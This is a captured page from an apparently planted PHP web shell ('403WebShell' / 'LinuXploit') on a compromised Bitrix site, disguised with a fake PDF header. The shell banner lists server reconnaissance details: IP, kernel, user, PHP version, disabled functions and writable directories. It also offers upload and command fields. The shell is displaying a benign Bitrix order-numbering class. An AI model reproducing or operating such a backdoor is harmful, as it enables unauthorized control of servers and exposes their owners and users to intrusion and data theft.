%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 52.14.107.40
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/integration/numerator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/integration/numerator/accountnumbercompatibilitymanager.php
<?php
namespace Bitrix\Sale\Integration\Numerator;

use Bitrix\Main\Config\Option;
use Bitrix\Main\Entity\Event;
use Bitrix\Main\Entity\EventResult;
use Bitrix\Main\Numerator\Generator\NumberGenerator;
use Bitrix\Main\Numerator\Generator\SequentNumberGenerator;
use Bitrix\Main\Web\Json;
use Bitrix\Sale\Registry;

/**
 * Class AccountNumberCompatibilityManager
 * @package Bitrix\Sale\Integration\Numerator
 */
class AccountNumberCompatibilityManager
{
	/** For compatibility - in the past users could add a custom type
	 * to the select list of number generation template
	 * Now if you want to add new template words and extend numerator functionality
	 * you should create your own generator (extending from NumberGenerator)
	 * and write your logic there
	 * @param \Bitrix\Main\Event $event
	 * @return array
	 */
	public static function onBuildNumeratorTemplateWordsList(\Bitrix\Main\Event $event)
	{
		$parameters = [];
		if ($event->getParameter('numeratorType') === Registry::REGISTRY_TYPE_ORDER)
		{
			$event = new \Bitrix\Main\Event('sale', 'OnBuildAccountNumberTemplateList', []);
			$event->send();

			if ($event->getResults())
			{
				/** @var \Bitrix\Main\EventResult $eventResult */
				foreach ($event->getResults() as $eventResult)
				{
					$parameters[] = $eventResult->getParameters();
				}
			}
			return $parameters;
		}
		return $parameters;
	}

	/**
	 * @param Event $event
	 * @return EventResult
	 * @throws \Bitrix\Main\ArgumentOutOfRangeException
	 */
	public static function resetAccountNumberType(Event $event)
	{
		Option::set("sale", "account_number_template", '');
		return new EventResult();
	}

	/** If numerator template is the same as it was in an old version of API
	 * we save account_number_template into b_option as if it was before
	 * for compatibility reasons
	 * @param Event $event
	 * @return EventResult
	 * @throws \Bitrix\Main\ArgumentException
	 * @throws \Bitrix\Main\ArgumentOutOfRangeException
	 */
	public static function updateAccountNumberType(Event $event)
	{
		$result = new EventResult();
		$numeratorFields = $event->getParameter("fields");
		if ($numeratorFields['TYPE'] === Registry::REGISTRY_TYPE_ORDER)
		{
			$numberTemplate = isset($numeratorFields['TEMPLATE']) ? $numeratorFields['TEMPLATE'] : '';
			$settings = Json::decode($numeratorFields['SETTINGS']);
			if ($numberTemplate)
			{
				$type = '';
				switch ($numberTemplate)
				{
					case '{NUMBER}':
						$settingsSequent = $settings[SequentNumberGenerator::getType()];
						if (isset($settingsSequent['step']) && ($settingsSequent['step'] == 1)
							&&
							key_exists('periodicBy', $settingsSequent) && ($settingsSequent['periodicBy'] == null)
						)
						{
							$type = 'NUMBER';
						}
						break;
					case '{PREFIX}{ORDER_ID}':
						$type = 'PREFIX';
						break;
					case '{RANDOM}':
						$type = 'RANDOM';
						break;
					case '{USER_ID_ORDERS_COUNT}':
						$type = 'USER';
						break;
					case '{DAY}{MONTH}{YEAR} / {NUMBER}':
						$settingsSequent = $settings[SequentNumberGenerator::getType()];
						if (isset($settingsSequent['step']) && $settingsSequent['step'] == 1
							&&
							key_exists('periodicBy', $settingsSequent) && $settingsSequent['periodicBy'] == SequentNumberGenerator::DAY
						)
						{
							$type = 'DATE';
						}
						break;
					case '{MONTH}{YEAR} / {NUMBER}':
						$settingsSequent = $settings[SequentNumberGenerator::getType()];
						if (isset($settingsSequent['step']) && $settingsSequent['step'] == 1
							&&
							key_exists('periodicBy', $settingsSequent) && $settingsSequent['periodicBy'] == SequentNumberGenerator::MONTH
						)
						{
							$type = 'DATE';
						}
						break;
					case '{YEAR} / {NUMBER}':
						$settingsSequent = $settings[SequentNumberGenerator::getType()];
						if (isset($settingsSequent['step']) && $settingsSequent['step'] == 1
							&&
							key_exists('periodicBy', $settingsSequent) && $settingsSequent['periodicBy'] == SequentNumberGenerator::YEAR
						)
						{
							$type = 'DATE';
						}
						break;
					default:
						if (!$type)
						{
							// check if template is a custom type - it should contain only custom word
							$isStartIsUserDefinedPattern = strncmp($numberTemplate, NumberGenerator::USER_DEFINED_SYMBOL_START, mb_strlen(NumberGenerator::USER_DEFINED_SYMBOL_START)) === 0;
							$isEndIsUserDefinedPattern = mb_substr($numberTemplate, -mb_strlen(NumberGenerator::USER_DEFINED_SYMBOL_END)) === NumberGenerator::USER_DEFINED_SYMBOL_END;
							if ($isStartIsUserDefinedPattern && $isEndIsUserDefinedPattern)
							{
								$type = mb_substr(mb_substr($numberTemplate, mb_strlen(NumberGenerator::USER_DEFINED_SYMBOL_START)), 0, -mb_strlen(NumberGenerator::USER_DEFINED_SYMBOL_END));
							}
						}
						break;
				}

				Option::set("sale", "account_number_template", $type);
			}
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit